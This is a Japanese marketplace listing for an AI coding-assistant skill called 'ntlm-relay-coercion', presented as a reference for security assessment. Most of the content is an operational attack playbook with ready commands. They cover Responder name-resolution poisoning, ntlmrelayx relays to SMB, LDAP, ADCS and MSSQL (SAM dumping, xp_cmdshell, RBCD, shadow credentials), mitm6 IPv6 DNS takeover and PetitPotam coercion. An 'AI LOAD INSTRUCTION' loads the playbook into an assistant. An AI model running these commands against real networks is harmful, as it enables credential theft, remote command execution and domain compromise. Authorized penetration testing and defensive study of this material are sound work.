mcpField
N
ntlm-relay-coercion

ntlm-relay-coercion

github.com/yaklangセキュリティ2.6k3.5k 回インストール6 週間前に更新
リポジトリ

ntlm-relay-coercion について

セキュリティ評価向けのNTLMリレーと認証誘導に関するリファレンススキルです。リレー先、署名やチャネルバインディングの制約、資格情報の取得、プロトコル間の経路、一般的な誘導手法を説明します。

主な機能

  1. 01リレー先とプロトコルの一覧
  2. 02SMB署名とEPAの制約
  3. 03Responderによる資格情報の取得
  4. 04SMB、LDAP、HTTP、MSSQLへのNTLMリレー
  5. 05mitm6によるIPv6 DNS乗っ取り
  6. 06プロトコル間リレーとWebDAV誘導

活用シーン

  1. 01ネットワークのNTLMリレー露出を評価する
  2. 02署名とチャネルバインディング要件を確認する
  3. 03LDAPやADCSへのリレー経路を評価する
  4. 04WebDAVを使った認証誘導を分析する

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/yaklang/hack-skills --skill ntlm-relay-coercion

インストール後、Claude Code で/ntlm-relay-coercionを入力して読み込まれたか確認します。

同梱ファイルCOERCION_METHODS.md

詳細

スキル:NTLM リレーと認証強制 — エキスパート向け攻撃プレイブック

AI LOAD INSTRUCTION:エキスパート向けの NTLM リレーと認証強制の手法です。SMB/LDAP/HTTP/MSSQL へのリレー、署名要件、Responder によるポイズニング、mitm6、プロトコル間リレー、WebDAV による強制、および主要な強制手法を網羅しています。ベースモデルでは、署名/EPA の要件やプロトコル間リレーの制約が見落とされます。

0. 関連ルーティング

詳しく調べる前に、次の読み込みを検討してください。

高度なリファレンス

次の情報が必要な場合は、COERCION_METHODS.md も読み込んでください。

  • 強制手法の詳細な比較(PetitPotam、PrinterBug、DFSCoerce など)
  • RPC 関数レベルの詳細と前提条件
  • Coercer ツールの使用方法と検出

1. NTLM リレーの基礎

Victim          Attacker (relay)         Target
  │                 │                      │
  │── NTLM Auth ──→│                      │  (1) Victim authenticates (coerced/poisoned)
  │                 │── Forward Auth ─────→│  (2) Attacker relays to target
  │                 │←─ Challenge ──────── │  (3) Target sends challenge
  │←─ Challenge ────│                      │  (4) Attacker forwards challenge to victim
  │── Response ────→│                      │  (5) Victim computes response
  │                 │── Forward Response ─→│  (6) Attacker relays response to target
  │                 │←─ Authenticated! ────│  (7) Target accepts → attacker has session
NTLMv1 と NTLMv2
機能NTLMv1NTLMv2
セキュリティ弱い(NTLM ハッシュにクラック可能)より強固(ただしリレー可能)
リレー可能可能
ハッシュへのクラック可能(レインボーテーブル、crack.sh)オフラインのブルートフォースのみ
ダウングレードResponder の --lm で強制最新の Windows ではデフォルト

2. リレー先プロトコルの一覧

リレー先プロトコル得られるものデフォルトで署名が必須か?EPA/チャネルバインディングか?
SMBコマンド実行(管理者の場合)、ファイルアクセスDC:はい、ワークステーション:いいえいいえ
LDAPACL の変更、RBCD、シャドウ認証情報、コンピューターの追加DC:いいえ(ネゴシエーション)いいえ(構成されている場合を除く)
LDAPSLDAP と同じだが暗号化される該当なしはい(チャネルバインディング)
HTTP(ADCS)証明書の登録(ESC8)いいえ構成による
MSSQLSQL クエリ、xp_cmdshellいいえいいえ
IMAP/SMTPメールへのアクセスいいえいいえ
RPCさまざまな操作(ESC11 の CA 登録)条件によるいいえ
署名の確認
# Check SMB signing on target
crackmapexec smb TARGET_IP --gen-relay-list relay_targets.txt
# Outputs hosts WITHOUT required SMB signing

# Nmap SMB signing check
nmap -p 445 --script smb2-security-mode TARGET_RANGE

3. RESPONDER — 認証情報の取得

LLMNR/NBT-NS/WPAD/mDNS ポイズニング
# Start Responder (capture mode — don't relay, just capture hashes)
responder -I eth0 -dwP

# Analyze mode (passive, no poisoning)
responder -I eth0 -A

# Key protocols poisoned:
# LLMNR (UDP 5355) — Link-Local Multicast Name Resolution
# NBT-NS (UDP 137)  — NetBIOS Name Service
# WPAD              — Web Proxy Auto-Discovery (proxy config)
# mDNS (UDP 5353)   — Multicast DNS
Responder とリレー(取得せず、代わりにリレー)
# Disable HTTP and SMB servers in Responder (ntlmrelayx will handle them)
# Edit /etc/responder/Responder.conf: set HTTP and SMB to Off

# Start Responder for poisoning only
responder -I eth0 -dwP

# Start ntlmrelayx for relay
ntlmrelayx.py -tf targets.txt -smb2support

4. NTLMRELAYX — リレーの実行

SMB へのリレー(管理者として実行)
# Execute command on targets (requires admin privs on target)
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"

# Dump SAM hashes
ntlmrelayx.py -tf targets.txt -smb2support

# Interactive SOCKS proxy (maintain sessions)
ntlmrelayx.py -tf targets.txt -smb2support -socks
# Then: proxychains smbclient //TARGET/C$ -U DOMAIN/user
LDAP へのリレー(ACL の変更)
# Automatic RBCD (delegate-access)
ntlmrelayx.py -t ldap://DC_IP --delegate-access -smb2support

# Escalate via shadow credentials
ntlmrelayx.py -t ldap://DC_IP --shadow-credentials -smb2support

# Add computer account
ntlmrelayx.py -t ldap://DC_IP --add-computer FAKE01 P@ss123 -smb2support

# Dump domain info
ntlmrelayx.py -t ldap://DC_IP -smb2support --dump-domain
ADCS HTTP へのリレー(ESC8)
ntlmrelayx.py -t http://CA_HOST/certsrv/certfnsh.asp -smb2support \
  --adcs --template DomainController

# Use with coercion to relay DC auth → get DC certificate
MSSQL へのリレー
ntlmrelayx.py -t mssql://SQL_HOST -smb2support -q "SELECT system_user; EXEC xp_cmdshell 'whoami'"

5. MITM6 — IPv6 DNS の乗っ取り

# mitm6 exploits IPv6 auto-configuration to become DNS server
mitm6 -d domain.com

# Combined with ntlmrelayx
ntlmrelayx.py -6 -t ldap://DC_IP -wh fake-wpad.domain.com --delegate-access -smb2support

# Flow:
# 1. mitm6 sends DHCPv6 replies → victim gets attacker as IPv6 DNS
# 2. Victim queries WPAD → attacker responds
# 3. NTLM auth triggered → relayed to LDAP
# 4. RBCD or shadow credentials set on victim computer

6. プロトコル間リレー

SMB → LDAP

SMB 認証を取得し、LDAP にリレーします(LDAP 署名の強制がないことが必要です)。

# Coerce SMB auth from DC, relay to LDAP on same or different DC
ntlmrelayx.py -t ldap://DC02_IP --delegate-access -smb2support

# Trigger coercion (attacker receives SMB auth)
PetitPotam.py ATTACKER_IP DC01_IP

制約:送信元がリレーを示す SMB 署名ネゴシエーションを使用する場合、SMB → LDAP リレーは失敗します。

WebDAV → LDAP

ワークステーションからの WebDAV は、NTLM を HTTP 経由で送信し、LDAP にリレーします(署名の問題はありません)。

# WebDAV coercion sends HTTP-based NTLM (no SMB signing concern)
ntlmrelayx.py -t ldap://DC_IP --delegate-access -smb2support

# Coerce via WebDAV (workstation must have WebClient service running)
# Use @ATTACKER_PORT format to force WebDAV
PetitPotam.py ATTACKER@80/test WORKSTATION_IP

7. WebDAV ベースの強制

WebClient サービス(WebDAV)は、SMB 型の強制を HTTP ベースの NTLM に変換します。

# Check if WebClient is running (port 80 listener or service query)
crackmapexec smb TARGET -u user -p pass -M webdav

# Start WebDAV coercion (from workstation, not server)
# Force target to authenticate via HTTP:
# Use UNC path format: \\ATTACKER@PORT\share

主な利点:HTTP ベースの NTLM では、SMB 署名の要件を回避できます。


8. NTLM リレーの判断ツリー

Want to relay NTLM authentication
│
├── What auth can you capture?
│   ├── Responder poisoning (passive, wait for queries)
│   ├── mitm6 (DHCPv6 DNS takeover, periodic)
│   └── Active coercion → load COERCION_METHODS.md
│
├── What target to relay to?
│   │
│   ├── Need code execution?
│   │   ├── SMB target without signing → ntlmrelayx to SMB (§4)
│   │   └── MSSQL target → ntlmrelayx to MSSQL + xp_cmdshell (§4)
│   │
│   ├── Need domain escalation?
│   │   ├── LDAP signing not enforced?
│   │   │   ├── Relay to LDAP → RBCD (§4)
│   │   │   ├── Relay to LDAP → shadow credentials (§4)
│   │   │   └── Relay to LDAP → add computer + delegate (§4)
│   │   └── LDAP signing enforced?
│   │       └── Relay to ADCS HTTP (ESC8) → certificate (§4)
│   │
│   └── Need certificate?
│       └── Relay to ADCS HTTP/RPC → ESC8/ESC11 (§4)
│
├── Source is SMB-based?
│   ├── Target is SMB → check signing (§2)
│   ├── Target is LDAP → may work (cross-protocol, §6)
│   └── Target is HTTP → works (cross-protocol)
│
├── Source is HTTP-based (WebDAV)?
│   └── Relay to any target (no signing issues, §6/§7)
│
└── Relay fails?
    ├── Check signing requirements (§2)
    ├── Check EPA/channel binding
    ├── Try cross-protocol (SMB → LDAP)
    └── Try WebDAV coercion (avoids SMB signing)

コメント